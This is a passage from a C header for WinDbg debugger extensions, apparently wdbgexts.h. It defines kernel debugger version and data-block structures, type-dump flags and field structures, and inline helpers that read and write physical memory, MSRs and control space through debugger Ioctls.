WDBGEXTS_MODULE_IN_RANGE, *PWDBGEXTS_MODULE_IN_RANGE;\n \n//\n// If DBGKD_VERS_FLAG_DATA is set in Flags, info should be retrieved from\n// the KDDEBUGGER_DATA block rather than from the DBGKD_GET_VERSION\n// packet. The data will remain in the version packet for a while to\n// reduce compatibility problems.\n//\n\n#define DBGKD_VERS_FLAG_MP 0x0001 // kernel is MP built\n#define DBGKD_VERS_FLAG_DATA 0x0002 // DebuggerDataList is valid\n#define DBGKD_VERS_FLAG_PTR64 0x0004 // native pointers are 64 bits\n#define DBGKD_VERS_FLAG_NOMM 0x0008 // No MM - don't decode PTEs\n#define DBGKD_VERS_FLAG_HSS 0x0010 // hardware stepping support\n#define DBGKD_VERS_FLAG_PARTITIONS 0x0020 // multiple OS partitions exist\n\n#define KDBG_TAG 'GBDK'\n\n//\n// KD version MajorVersion high-byte identifiers.\n//\n\ntypedef enum _DBGKD_MAJOR_TYPES\n{\n DBGKD_MAJOR_NT,\n DBGKD_MAJOR_XBOX,\n DBGKD_MAJOR_BIG,\n DBGKD_MAJOR_EXDI,\n DBGKD_MAJOR_NTBD,\n DBGKD_MAJOR_EFI,\n DBGKD_MAJOR_TNT,\n DBGKD_MAJOR_SINGULARITY,\n DBGKD_MAJOR_HYPERVISOR,\n DBGKD_MAJOR_MIDORI,\n DBGKD_MAJOR_COUNT\n} DBGKD_MAJOR_TYPES;\n\n#define DBGKD_MAJOR_TYPE(MajorVersion) \\\n ((DBGKD_MAJOR_TYPES)((MajorVersion) >> 8))\n\n\n// **********************************************************************\n// DO NOT CHANGE THESE 32 BIT STRUCTURES!\n// ONLY MAKE CHAGES TO THE 64 BIT VERSION BELOW!!\n// **********************************************************************\n\n//\n// The following structure has changed in more than pointer size.\n//\n// This is the version packet for pre-NT5 Beta 2 systems.\n// For now, it is also still used on x86\n//\ntypedef struct _DBGKD_GET_VERSION32 {\n USHORT MajorVersion;\n USHORT MinorVersion;\n USHORT ProtocolVersion;\n USHORT Flags;\n ULONG KernBase;\n ULONG PsLoadedModuleList;\n\n USHORT MachineType;\n\n //\n // help for walking stacks with user callbacks:\n //\n\n //\n // The address of the thread structure is provided in the\n // WAIT_STATE_CHANGE packet. This is the offset from the base of\n // the thread structure to the pointer to the kernel stack frame\n // for the currently active usermode callback.\n //\n\n USHORT ThCallbackStack; // offset in thread data\n\n //\n // these values are offsets into that frame:\n //\n\n USHORT NextCallback; // saved pointer to next callback frame\n USHORT FramePointer; // saved frame pointer\n\n //\n // Address of the kernel callout routine.\n //\n\n ULONG KiCallUserMode; // kernel routine\n\n //\n // Address of the usermode entry point for callbacks.\n //\n\n ULONG KeUserCallbackDispatcher; // address in ntdll\n\n //\n // DbgBreakPointWithStatus is a function which takes a ULONG argument\n // and hits a breakpoint. This field contains the address of the\n // breakpoint instruction. When the debugger sees a breakpoint\n // at this address, it may retrieve the argument from the first\n // argument register, or on x86 the eax register.\n //\n\n ULONG BreakpointWithStatus; // address of breakpoint\n\n //\n // Components may register a debug data block for use by\n // debugger extensions. This is the address of the list head.\n //\n\n ULONG DebuggerDataList;\n\n} DBGKD_GET_VERSION32, *PDBGKD_GET_VERSION32;\n\n\n//\n// This is the debugger data packet for pre NT5 Beta 2 systems.\n// For now, it is still used on x86\n//\n\ntypedef struct _DBGKD_DEBUG_DATA_HEADER32 {\n\n LIST_ENTRY32 List;\n ULONG OwnerTag;\n ULONG Size;\n\n} DBGKD_DEBUG_DATA_HEADER32, *PDBGKD_DEBUG_DATA_HEADER32;\n\ntypedef struct _KDDEBUGGER_DATA32 {\n\n DBGKD_DEBUG_DATA_HEADER32 Header;\n ULONG KernBase;\n ULONG BreakpointWithStatus; // address of breakpoint\n ULONG SavedContext;\n USHORT ThCallbackStack; // offset in thread data\n USHORT NextCallback; // saved pointer to next callback frame\n USHORT FramePointer; // saved frame pointer\n USHORT PaeEnabled:1;\n ULONG KiCallUserMode; // kernel routine\n ULONG KeUserCallbackDispatcher; // address in ntdll\n\n ULONG PsLoadedModuleList;\n ULONG PsActiveProcessHead;\n ULONG PspCidTable;\n\n ULONG ExpSystemResourcesList;\n ULONG ExpPagedPoolDescriptor;\n ULONG ExpNumberOfPagedPools;\n\n ULONG KeTimeIncrement;\n ULONG KeBugCheckCallbackListHead;\n ULONG KiBugcheckData;\n\n ULONG IopErrorLogListHead;\n\n ULONG ObpRootDirectoryObject;\n ULONG ObpTypeObjectType;\n\n ULONG MmSystemCacheStart;\n ULONG MmSystemCacheEnd;\n ULONG MmSystemCacheWs;\n\n ULONG MmPfnDatabase;\n ULONG MmSystemPtesStart;\n ULONG MmSystemPtesEnd;\n ULONG MmSubsectionBase;\n ULONG MmNumberOfPagingFiles;\n\n ULONG MmLowestPhysicalPage;\n ULONG MmHighestPhysicalPage;\n ULONG MmNumberOfPhysicalPages;\n\n ULONG MmMaximumNonPagedPoolInBytes;\n ULONG MmNonPagedSystemStart;\n ULONG MmNonPagedPoolStart;\n ULONG MmNonPagedPoolEnd;\n\n ULONG MmPagedPoolStart;\n ULONG MmPagedPoolEnd;\n ULONG MmPagedPoolInformation;\n ULONG MmPageSize;\n\n ULONG MmSizeOfPagedPoolInBytes;\n\n ULONG MmTotalCommitLimit;\n ULONG MmTotalCommittedPages;\n ULONG MmSharedCommit;\n ULONG MmDriverCommit;\n ULONG MmProcessCommit;\n ULONG MmPagedPoolCommit;\n ULONG MmExtendedCommit;\n\n ULONG MmZeroedPageListHead;\n ULONG MmFreePageListHead;\n ULONG MmStandbyPageListHead;\n ULONG MmModifiedPageListHead;\n ULONG MmModifiedNoWritePageListHead;\n ULONG MmAvailablePages;\n ULONG MmResidentAvailablePages;\n\n ULONG PoolTrackTable;\n ULONG NonPagedPoolDescriptor;\n\n ULONG MmHighestUserAddress;\n ULONG MmSystemRangeStart;\n ULONG MmUserProbeAddress;\n\n ULONG KdPrintCircularBuffer;\n ULONG KdPrintCircularBufferEnd;\n ULONG KdPrintWritePointer;\n ULONG KdPrintRolloverCount;\n\n ULONG MmLoadedUserImageList;\n\n} KDDEBUGGER_DATA32, *PKDDEBUGGER_DATA32;\n\n// **********************************************************************\n//\n// DO NOT CHANGE KDDEBUGGER_DATA32!!\n// ONLY MAKE CHANGES TO KDDEBUGGER_DATA64!!!\n//\n// **********************************************************************\n\n\nenum\n{\n DBGKD_SIMULATION_NONE,\n DBGKD_SIMULATION_EXDI\n};\n\n#define KD_SECONDARY_VERSION_DEFAULT 0\n\n#define KD_SECONDARY_VERSION_AMD64_OBSOLETE_CONTEXT_1 0\n#define KD_SECONDARY_VERSION_AMD64_OBSOLETE_CONTEXT_2 1\n#define KD_SECONDARY_VERSION_AMD64_CONTEXT 2\n\n#ifdef _AMD64_\n#define CURRENT_KD_SECONDARY_VERSION \\\n KD_SECONDARY_VERSION_AMD64_CONTEXT\n#else\n#define CURRENT_KD_SECONDARY_VERSION KD_SECONDARY_VERSION_DEFAULT\n#endif\n\ntypedef struct _DBGKD_GET_VERSION64 {\n USHORT MajorVersion;\n USHORT MinorVersion;\n UCHAR ProtocolVersion;\n UCHAR KdSecondaryVersion; // Cannot be 'A' for compat with dump header\n USHORT Flags;\n USHORT MachineType;\n\n //\n // Protocol command support descriptions.\n // These allow the debugger to automatically\n // adapt to different levels of command support\n // in different kernels.\n //\n\n // One beyond highest packet type understood, zero based.\n UCHAR MaxPacketType;\n // One beyond highest state change understood, zero based.\n UCHAR MaxStateChange;\n // One beyond highest state manipulate message understood, zero based.\n UCHAR MaxManipulate;\n\n // Kind of execution environment the kernel is running in,\n // such as a real machine or a simulator. Written back\n // by the simulation if one exists.\n UCHAR Simulation;\n\n USHORT Unused[1];\n\n ULONG64 KernBase;\n ULONG64 PsLoadedModuleList;\n\n //\n // Components may register a debug data block for use by\n // debugger extensions. This is the address of the list head.\n //\n // There will always be an entry for the debugger.\n //\n\n ULONG64 DebuggerDataList;\n\n} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;\n\n\n//\n// This structure is used by the debugger for all targets\n// It is the same size as DBGKD_DATA_HEADER on all systems\n//\ntypedef struct _DBGKD_DEBUG_DATA_HEADER64 {\n\n //\n // Link to other blocks\n //\n\n LIST_ENTRY64 List;\n\n //\n // This is a unique tag to identify the owner of the block.\n // If your component only uses one pool tag, use it for this, too.\n //\n\n ULONG OwnerTag;\n\n //\n // This must be initialized to the size of the data block,\n // including this structure.\n //\n\n ULONG Size;\n\n} DBGKD_DEBUG_DATA_HEADER64, *PDBGKD_DEBUG_DATA_HEADER64;\n\n\n//\n// This structure is the same size on all systems. The only field\n// which must be translated by the debugger is Header.List.\n//\n\n//\n// DO NOT ADD OR REMOVE FIELDS FROM THE MIDDLE OF THIS STRUCTURE!!!\n//\n// If you remove a field, replace it with an \"unused\" placeholder.\n// Do not reuse fields until there has been enough time for old debuggers\n// and extensions to age out.\n//\ntypedef struct _KDDEBUGGER_DATA64 {\n\n DBGKD_DEBUG_DATA_HEADER64 Header;\n\n //\n // Base address of kernel image\n //\n\n ULONG64 KernBase;\n\n //\n // DbgBreakPointWithStatus is a function which takes an argument\n // and hits a breakpoint. This field contains the address of the\n // breakpoint instruction. When the debugger sees a breakpoint\n // at this address, it may retrieve the argument from the first\n // argument register, or on x86 the eax register.\n //\n\n ULONG64 BreakpointWithStatus; // address of breakpoint\n\n //\n // Address of the saved context record during a bugcheck\n //\n // N.B. This is an automatic in KeBugcheckEx's frame, and\n // is only valid after a bugcheck.\n //\n\n ULONG64 SavedContext;\n\n //\n // help for walking stacks with user callbacks:\n //\n\n //\n // The address of the thread structure is provided in the\n // WAIT_STATE_CHANGE packet. This is the offset from the base of\n // the thread structure to the pointer to the kernel stack frame\n // for the currently active usermode callback.\n //\n\n USHORT ThCallbackStack; // offset in thread data\n\n //\n // these values are offsets into that frame:\n //\n\n USHORT NextCallback; // saved pointer to next callback frame\n USHORT FramePointer; // saved frame pointer\n\n //\n // pad to a quad boundary\n //\n USHORT PaeEnabled:1;\n\n //\n // Address of the kernel callout routine.\n //\n\n ULONG64 KiCallUserMode; // kernel routine\n\n //\n // Address of the usermode entry point for callbacks.\n //\n\n ULONG64 KeUserCallbackDispatcher; // address in ntdll\n\n\n //\n // Addresses of various kernel data structures and lists\n // that are of interest to the kernel debugger.\n //\n\n ULONG64 PsLoadedModuleList;\n ULONG64 PsActiveProcessHead;\n ULONG64 PspCidTable;\n\n ULONG64 ExpSystemResourcesList;\n ULONG64 ExpPagedPoolDescriptor;\n ULONG64 ExpNumberOfPagedPools;\n\n ULONG64 KeTimeIncrement;\n ULONG64 KeBugCheckCallbackListHead;\n ULONG64 KiBugcheckData;\n\n ULONG64 IopErrorLogListHead;\n\n ULONG64 ObpRootDirectoryObject;\n ULONG64 ObpTypeObjectType;\n\n ULONG64 MmSystemCacheStart;\n ULONG64 MmSystemCacheEnd;\n ULONG64 MmSystemCacheWs;\n\n ULONG64 MmPfnDatabase;\n ULONG64 MmSystemPtesStart;\n ULONG64 MmSystemPtesEnd;\n ULONG64 MmSubsectionBase;\n ULONG64 MmNumberOfPagingFiles;\n\n ULONG64 MmLowestPhysicalPage;\n ULONG64 MmHighestPhysicalPage;\n ULONG64 MmNumberOfPhysicalPages;\n\n ULONG64 MmMaximumNonPagedPoolInBytes;\n ULONG64 MmNonPagedSystemStart;\n ULONG64 MmNonPagedPoolStart;\n ULONG64 MmNonPagedPoolEnd;\n\n ULONG64 MmPagedPoolStart;\n ULONG64 MmPagedPoolEnd;\n ULONG64 MmPagedPoolInformation;\n ULONG64 MmPageSize;\n\n ULONG64 MmSizeOfPagedPoolInBytes;\n\n ULONG64 MmTotalCommitLimit;\n ULONG64 MmTotalCommittedPages;\n ULONG64 MmSharedCommit;\n ULONG64 MmDriverCommit;\n ULONG64 MmProcessCommit;\n ULONG64 MmPagedPoolCommit;\n ULONG64 MmExtendedCommit;\n\n ULONG64 MmZeroedPageListHead;\n ULONG64 MmFreePageListHead;\n ULONG64 MmStandbyPageListHead;\n ULONG64 MmModifiedPageListHead;\n ULONG64 MmModifiedNoWritePageListHead;\n ULONG64 MmAvailablePages;\n ULONG64 MmResidentAvailablePages;\n\n ULONG64 PoolTrackTable;\n ULONG64 NonPagedPoolDescriptor;\n\n ULONG64 MmHighestUserAddress;\n ULONG64 MmSystemRangeStart;\n ULONG64 MmUserProbeAddress;\n\n ULONG64 KdPrintCircularBuffer;\n ULONG64 KdPrintCircularBufferEnd;\n ULONG64 KdPrintWritePointer;\n ULONG64 KdPrintRolloverCount;\n\n ULONG64 MmLoadedUserImageList;\n\n // NT 5.1 Addition\n\n ULONG64 NtBuildLab;\n ULONG64 KiNormalSystemCall;\n\n // NT 5.0 hotfix addition\n\n ULONG64 KiProcessorBlock;\n ULONG64 MmUnloadedDrivers;\n ULONG64 MmLastUnloadedDriver;\n ULONG64 MmTriageActionTaken;\n ULONG64 MmSpecialPoolTag;\n ULONG64 KernelVerifier;\n ULONG64 MmVerifierData;\n ULONG64 MmAllocatedNonPagedPool;\n ULONG64 MmPeakCommitment;\n ULONG64 MmTotalCommitLimitMaximum;\n ULONG64 CmNtCSDVersion;\n\n // NT 5.1 Addition\n\n ULONG64 MmPhysicalMemoryBlock;\n ULONG64 MmSessionBase;\n ULONG64 MmSessionSize;\n ULONG64 MmSystemParentTablePage;\n\n // Server 2003 addition\n\n ULONG64 MmVirtualTranslationBase;\n\n USHORT OffsetKThreadNextProcessor;\n USHORT OffsetKThreadTeb;\n USHORT OffsetKThreadKernelStack;\n USHORT OffsetKThreadInitialStack;\n\n USHORT OffsetKThreadApcProcess;\n USHORT OffsetKThreadState;\n USHORT OffsetKThreadBStore;\n USHORT OffsetKThreadBStoreLimit;\n\n USHORT SizeEProcess;\n USHORT OffsetEprocessPeb;\n USHORT OffsetEprocessParentCID;\n USHORT OffsetEprocessDirectoryTableBase;\n\n USHORT SizePrcb;\n USHORT OffsetPrcbDpcRoutine;\n USHORT OffsetPrcbCurrentThread;\n USHORT OffsetPrcbMhz;\n\n USHORT OffsetPrcbCpuType;\n USHORT OffsetPrcbVendorString;\n USHORT OffsetPrcbProcStateContext;\n USHORT OffsetPrcbNumber;\n\n USHORT SizeEThread;\n\n ULONG64 KdPrintCircularBufferPtr;\n ULONG64 KdPrintBufferSize;\n\n ULONG64 KeLoaderBlock;\n\n USHORT SizePcr;\n USHORT OffsetPcrSelfPcr;\n USHORT OffsetPcrCurrentPrcb;\n USHORT OffsetPcrContainedPrcb;\n\n USHORT OffsetPcrInitialBStore;\n USHORT OffsetPcrBStoreLimit;\n USHORT OffsetPcrInitialStack;\n USHORT OffsetPcrStackLimit;\n\n USHORT OffsetPrcbPcrPage;\n USHORT OffsetPrcbProcStateSpecialReg;\n USHORT GdtR0Code;\n USHORT GdtR0Data;\n\n USHORT GdtR0Pcr;\n USHORT GdtR3Code;\n USHORT GdtR3Data;\n USHORT GdtR3Teb;\n\n USHORT GdtLdt;\n USHORT GdtTss;\n USHORT Gdt64R3CmCode;\n USHORT Gdt64R3CmTeb;\n\n ULONG64 IopNumTriageDumpDataBlocks;\n ULONG64 IopTriageDumpDataBlocks;\n\n // Longhorn addition\n\n ULONG64 VfCrashDataBlock;\n ULONG64 MmBadPagesDetected;\n ULONG64 MmZeroedPageSingleBitErrorsDetected;\n\n // Windows 7 addition\n\n ULONG64 EtwpDebuggerData;\n USHORT OffsetPrcbContext;\n\n} KDDEBUGGER_DATA64, *PKDDEBUGGER_DATA64;\n\n\n\n/************************************\n\n Type Dump Ioctl\n\n*************************************/\n\n\n//\n// Fields are not indented if this is set\n//\n#define DBG_DUMP_NO_INDENT 0x00000001\n//\n// Offsets are not printed if this is set\n//\n#define DBG_DUMP_NO_OFFSET 0x00000002\n//\n// Verbose output\n//\n#define DBG_DUMP_VERBOSE 0x00000004\n//\n// Callback is done for each of fields\n//\n#define DBG_DUMP_CALL_FOR_EACH 0x00000008\n//\n// A list of type is dumped, listLink should have info about next element pointer\n//\n#define DBG_DUMP_LIST 0x00000020\n//\n// Nothing is printed if this is set (only callbacks and data copies done)\n//\n#define DBG_DUMP_NO_PRINT 0x00000040\n//\n// Ioctl returns the size as usual, but will not do field prints/callbacks if this is set\n//\n#define DBG_DUMP_GET_SIZE_ONLY 0x00000080\n//\n// Specifies how much deep into structs we can go\n//\n#define DBG_DUMP_RECUR_LEVEL(l) ((l & 0xf) << 8)\n//\n// No newlines are printed after each field\n//\n#define DBG_DUMP_COMPACT_OUT 0x00002000\n//\n// An array of type is dumped, number of elements can be specified in listLink->size\n//\n#define DBG_DUMP_ARRAY 0x00008000\n//\n// The specified addr value is actually the address of field listLink->fName\n//\n#define DBG_DUMP_ADDRESS_OF_FIELD 0x00010000\n\n//\n// The specified addr value is actually the adress at the end of type\n//\n#define DBG_DUMP_ADDRESS_AT_END 0x00020000\n\n//\n// This could be used to copy only the primitive types like ULONG, PVOID etc.\n// - will not work with structures/unions\n//\n#define DBG_DUMP_COPY_TYPE_DATA 0x00040000\n//\n// Flag to allow read directly from physical memory\n//\n#define DBG_DUMP_READ_PHYSICAL 0x00080000\n//\n// This causes a function type to be dumped in format function(arg1, arg2, ...)\n//\n#define DBG_DUMP_FUNCTION_FORMAT 0x00100000\n//\n// This recurses on a struct but doesn't expand pointers\n//\n#define DBG_DUMP_BLOCK_RECURSE 0x00200000\n//\n// Match the type size to resolve ambiguity in case multiple matches with same name are available\n//\n#define DBG_DUMP_MATCH_SIZE 0x00400000\n\n//\n// Obsolete defs\n//\n#define DBG_RETURN_TYPE 0\n#define DBG_RETURN_SUBTYPES 0\n#define DBG_RETURN_TYPE_VALUES 0\n\n//\n// Dump and callback optons for fields - Options used in FIELD_INFO.fOptions\n//\n\n//\n// Callback is done before printing the field if this is set\n//\n#define DBG_DUMP_FIELD_CALL_BEFORE_PRINT 0x00000001\n//\n// No callback is done\n//\n#define DBG_DUMP_FIELD_NO_CALLBACK_REQ 0x00000002\n//\n// Subfields of the fields are processesed\n//\n#define DBG_DUMP_FIELD_RECUR_ON_THIS 0x00000004\n//\n// fName must match completely for the field to be dumped instead just a prefix\n// match by default\n//\n#define DBG_DUMP_FIELD_FULL_NAME 0x00000008\n//\n// This causes array elements of an array field to be printed\n//\n#define DBG_DUMP_FIELD_ARRAY 0x00000010\n//\n// The data of the field is copied into fieldCallBack\n//\n#define DBG_DUMP_FIELD_COPY_FIELD_DATA 0x00000020\n//\n// In callback or when Ioctl returns, the FIELD_INFO.address has the address of field.\n// If no address is supplied for the type, it contains total offset of the field.\n//\n#define DBG_DUMP_FIELD_RETURN_ADDRESS 0x00001000\n//\n// Return the offset and size in bits instead of bytes is case of Bitfield\n//\n#define DBG_DUMP_FIELD_SIZE_IN_BITS 0x00002000\n//\n// Nothing is printed for field if this is set (only callbacks and data copies done)\n//\n#define DBG_DUMP_FIELD_NO_PRINT 0x00004000\n//\n// If the field is a pointer, it is dumped as a string, ANSI, WCHAR, MULTI or GUID\n// depending on following options\n//\n#define DBG_DUMP_FIELD_DEFAULT_STRING 0x00010000\n#define DBG_DUMP_FIELD_WCHAR_STRING 0x00020000\n#define DBG_DUMP_FIELD_MULTI_STRING 0x00040000\n#define DBG_DUMP_FIELD_GUID_STRING 0x00080000\n\n\n//\n// Error status returned on TYPE DUMP Ioctl failure\n//\n#define MEMORY_READ_ERROR 0x01\n#define SYMBOL_TYPE_INDEX_NOT_FOUND 0x02\n#define SYMBOL_TYPE_INFO_NOT_FOUND 0x03\n#define FIELDS_DID_NOT_MATCH 0x04\n#define NULL_SYM_DUMP_PARAM 0x05\n#define NULL_FIELD_NAME 0x06\n#define INCORRECT_VERSION_INFO 0x07\n#define EXIT_ON_CONTROLC 0x08\n#define CANNOT_ALLOCATE_MEMORY 0x09\n#define INSUFFICIENT_SPACE_TO_COPY 0x0a\n#define ADDRESS_TYPE_INDEX_NOT_FOUND 0x0b\n\n\n//////////////////////////////////////////////////////////////////////////*/\n\n\ntypedef\nULONG\n(WDBGAPI*PSYM_DUMP_FIELD_CALLBACK)(\n struct _FIELD_INFO *pField,\n PVOID UserContext\n );\n\ntypedef struct _FIELD_INFO {\n PUCHAR fName; // Name of the field\n PUCHAR printName; // Name to be printed at dump\n ULONG size; // Size of the field\n ULONG fOptions; // Dump Options for the field\n ULONG64 address; // address of the field\n union {\n PVOID fieldCallBack; // Return info or callBack routine for the field\n PVOID pBuffer; // the type data is copied into this\n };\n ULONG TypeId; // OUT Type index of the field\n ULONG FieldOffset; // OUT Offset of field inside struct\n ULONG BufferSize; // size of buffer used with DBG_DUMP_FIELD_COPY_FIELD_DATA\n struct _BitField {\n USHORT Position; // OUT set to start position for bitfield\n USHORT Size; // OUT set to size for bitfields\n } BitField;\n ULONG fPointer:2; // OUT set to 1 for pointers, 3 for 64bit pointers\n ULONG fArray:1; // OUT set to 1 for array types\n ULONG fStruct:1; // OUT set to 1 for struct/class tyoes\n ULONG fConstant:1; // OUT set to 1 for constants (enumerate as fields)\n ULONG fStatic:1; // OUT set to 1 for statics (class/struct static members)\n ULONG Reserved:26; // unused\n} FIELD_INFO, *PFIELD_INFO;\n\ntypedef struct _SYM_DUMP_PARAM {\n ULONG size; // size of this struct\n PUCHAR sName; // type name\n ULONG Options; // Dump options\n ULONG64 addr; // Address to take data for type\n PFIELD_INFO listLink; // fName here would be used to do list dump\n union {\n PVOID Context; // Usercontext passed to CallbackRoutine\n PVOID pBuffer; // the type data is copied into this\n };\n PSYM_DUMP_FIELD_CALLBACK CallbackRoutine;\n // Routine called back\n ULONG nFields; // # elements in Fields\n __field_ecount_opt(nFields) PFIELD_INFO Fields; // Used to return information about field\n ULONG64 ModBase; // OUT Module base address containing type\n ULONG TypeId; // OUT Type index of the symbol\n ULONG TypeSize; // OUT Size of type\n ULONG BufferSize; // IN size of buffer (used with DBG_DUMP_COPY_TYPE_DATA)\n ULONG fPointer:2; // OUT set to 1 for pointers, 3 for 64bit pointers\n ULONG fArray:1; // OUT set to 1 for array types\n ULONG fStruct:1; // OUT set to 1 for struct/class tyoes\n ULONG fConstant:1; // OUT set to 1 for constant types (unused)\n ULONG Reserved:27; // unused\n} SYM_DUMP_PARAM, *PSYM_DUMP_PARAM;\n\n#ifdef __cplusplus\n#define CPPMOD extern \"C\"\n#else\n#define CPPMOD\n#endif\n\n\n#ifndef NOEXTAPI\n\n#if defined(KDEXT_64BIT)\n#define WINDBG_EXTENSION_APIS WINDBG_EXTENSION_APIS64\n#define PWINDBG_EXTENSION_APIS PWINDBG_EXTENSION_APIS64\n#define PWINDBG_EXTENSION_ROUTINE PWINDBG_EXTENSION_ROUTINE64\n#define DECLARE_API(s) DECLARE_API64(s)\n#elif defined(KDEXT_32BIT)\n#define WINDBG_EXTENSION_APIS WINDBG_EXTENSION_APIS32\n#define PWINDBG_EXTENSION_APIS PWINDBG_EXTENSION_APIS32\n#define PWINDBG_EXTENSION_ROUTINE PWINDBG_EXTENSION_ROUTINE32\n#define DECLARE_API(s) DECLARE_API32(s)\n#else\n#define DECLARE_API(s) \\\n CPPMOD VOID \\\n s( \\\n HANDLE hCurrentProcess, \\\n HANDLE hCurrentThread, \\\n ULONG dwCurrentPc, \\\n ULONG dwProcessor, \\\n PCSTR args \\\n )\n#endif\n\n#define DECLARE_API32(s) \\\n CPPMOD VOID \\\n s( \\\n HANDLE hCurrentProcess, \\\n HANDLE hCurrentThread, \\\n ULONG dwCurrentPc, \\\n ULONG dwProcessor, \\\n PCSTR args \\\n )\n\n#define DECLARE_API64(s) \\\n CPPMOD VOID \\\n s( \\\n HANDLE hCurrentProcess, \\\n HANDLE hCurrentThread, \\\n ULONG64 dwCurrentPc, \\\n ULONG dwProcessor, \\\n PCSTR args \\\n )\n\n\nextern WINDBG_EXTENSION_APIS ExtensionApis;\n\n\n#define dprintf (ExtensionApis.lpOutputRoutine)\n#define GetExpression (ExtensionApis.lpGetExpressionRoutine)\n#define CheckControlC (ExtensionApis.lpCheckControlCRoutine)\n#define GetContext (ExtensionApis.lpGetThreadContextRoutine)\n#define SetContext (ExtensionApis.lpSetThreadContextRoutine)\n#define Ioctl (ExtensionApis.lpIoctlRoutine)\n#define Disasm (ExtensionApis.lpDisasmRoutine)\n#define GetSymbol (ExtensionApis.lpGetSymbolRoutine)\n#define ReadMemory (ExtensionApis.lpReadProcessMemoryRoutine)\n#define WriteMemory (ExtensionApis.lpWriteProcessMemoryRoutine)\n#define StackTrace (ExtensionApis.lpStackTraceRoutine)\n\n\n#define GetKdContext(ppi) \\\n Ioctl( IG_KD_CONTEXT, (PVOID)ppi, sizeof(*ppi) )\n\n\n//\n// BOOL\n// GetDebuggerData(\n// ULONG Tag,\n// PVOID Buf,\n// ULONG Size\n// )\n//\n\n#define GetDebuggerData(TAG, BUF, SIZE) \\\n ( (((PDBGKD_DEBUG_DATA_HEADER64)(BUF))->OwnerTag = (TAG)), \\\n (((PDBGKD_DEBUG_DATA_HEADER64)(BUF))->Size = (SIZE)), \\\n Ioctl( IG_GET_DEBUGGER_DATA, (PVOID)(BUF), (SIZE) ) )\n\n// Check if LocalAlloc is prototyped\n//#ifdef _WINBASE_\n\n__inline VOID\nReadPhysical(\n ULONG64 address,\n PVOID buf,\n ULONG size,\n PULONG sizer\n )\n{\n PPHYSICAL phy = NULL;\n *sizer = 0;\n if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) {\n phy = (PPHYSICAL)LocalAlloc(LPTR, sizeof(*phy) + size );\n }\n if (phy) {\n ZeroMemory( phy->Buf, size );\n phy->Address = address;\n phy->BufLen = size;\n Ioctl( IG_READ_PHYSICAL, (PVOID)phy, sizeof(*phy) + size );\n *sizer = phy->BufLen;\n CopyMemory( buf, phy->Buf, *sizer );\n LocalFree( phy );\n }\n}\n\n__inline VOID\nWritePhysical(\n ULONG64 address,\n PVOID buf,\n ULONG size,\n PULONG sizew\n )\n{\n PPHYSICAL phy = NULL;\n *sizew = 0;\n if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) {\n phy = (PPHYSICAL)LocalAlloc(LPTR, sizeof(*phy) + size );\n }\n if (phy) {\n ZeroMemory( phy->Buf, size );\n phy->Address = address;\n phy->BufLen = size;\n CopyMemory( phy->Buf, buf, size );\n Ioctl( IG_WRITE_PHYSICAL, (PVOID)phy, sizeof(*phy) + size );\n *sizew = phy->BufLen;\n LocalFree( phy );\n }\n}\n\n__inline VOID\nReadPhysicalWithFlags(\n ULONG64 address,\n PVOID buf,\n ULONG size,\n ULONG flags,\n PULONG sizer\n )\n{\n PPHYSICAL_WITH_FLAGS phy = NULL;\n *sizer = 0;\n if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) {\n phy = (PPHYSICAL_WITH_FLAGS)LocalAlloc(LPTR, sizeof(*phy) + size );\n }\n if (phy) {\n ZeroMemory( phy->Buf, size );\n phy->Address = address;\n phy->BufLen = size;\n phy->Flags = flags;\n Ioctl( IG_READ_PHYSICAL_WITH_FLAGS, (PVOID)phy, sizeof(*phy) + size );\n *sizer = phy->BufLen;\n CopyMemory( buf, phy->Buf, *sizer );\n LocalFree( phy );\n }\n}\n\n__inline VOID\nWritePhysicalWithFlags(\n ULONG64 address,\n PVOID buf,\n ULONG size,\n ULONG flags,\n PULONG sizew\n )\n{\n PPHYSICAL_WITH_FLAGS phy = NULL;\n *sizew = 0;\n if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) {\n phy = (PPHYSICAL_WITH_FLAGS)LocalAlloc(LPTR, sizeof(*phy) + size );\n }\n if (phy) {\n ZeroMemory( phy->Buf, size );\n phy->Address = address;\n phy->BufLen = size;\n phy->Flags = flags;\n CopyMemory( phy->Buf, buf, size );\n Ioctl( IG_WRITE_PHYSICAL_WITH_FLAGS, (PVOID)phy, sizeof(*phy) + size );\n *sizew = phy->BufLen;\n LocalFree( phy );\n }\n}\n\n__inline VOID\nReadMsr(\n ULONG MsrReg,\n ULONGLONG *MsrValue\n )\n{\n READ_WRITE_MSR msr;\n\n msr.Msr = MsrReg;\n Ioctl( IG_READ_MSR, (PVOID)&msr, sizeof(msr) );\n\n *MsrValue = msr.Value;\n}\n\n__inline VOID\nWriteMsr(\n ULONG MsrReg,\n ULONGLONG MsrValue\n )\n{\n READ_WRITE_MSR msr;\n\n msr.Msr = MsrReg;\n msr.Value = MsrValue;\n Ioctl( IG_WRITE_MSR, (PVOID)&msr, sizeof(msr) );\n}\n\n__inline VOID\nSetThreadForOperation(\n ULONG_PTR * Thread\n )\n{\n Ioctl(IG_SET_THREAD, (PVOID)Thread, sizeof(PULONG));\n}\n\n__inline VOID\nSetThreadForOperation32(\n ULONG Thread\n )\n{\n Ioctl(IG_SET_THREAD, (PVOID)LongToPtr(Thread), sizeof(ULONG));\n}\n\n__inline VOID\nSetThreadForOperation64(\n PULONG64 Thread\n )\n{\n Ioctl(IG_SET_THREAD, (PVOID)Thread, sizeof(ULONG64));\n}\n\n\n__inline VOID\nReadControlSpace(\n USHORT processor,\n ULONG address,\n PVOID buf,\n ULONG size\n )\n{\n PREADCONTROLSPACE prc = NULL;\n if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) {\n prc = (PREADCONTROLSPACE)LocalAlloc(LPTR, sizeof(*prc) + size );\n }\n if (prc) {\n ZeroMemory( prc->Buf, size );\n prc->Processor = processor;\n prc->Address = address;\n prc->BufLen = size;\n Ioctl( IG_READ_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size );\n CopyMemory( buf, prc->Buf, size );\n LocalFree( prc );\n }\n}\n\n__inline VOID\nReadControlSpace32(\n USHORT processor,\n ULONG address,\n PVOID buf,\n ULONG size\n )\n{\n PREADCONTROLSPACE32 prc = NULL;\n if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) {\n prc = 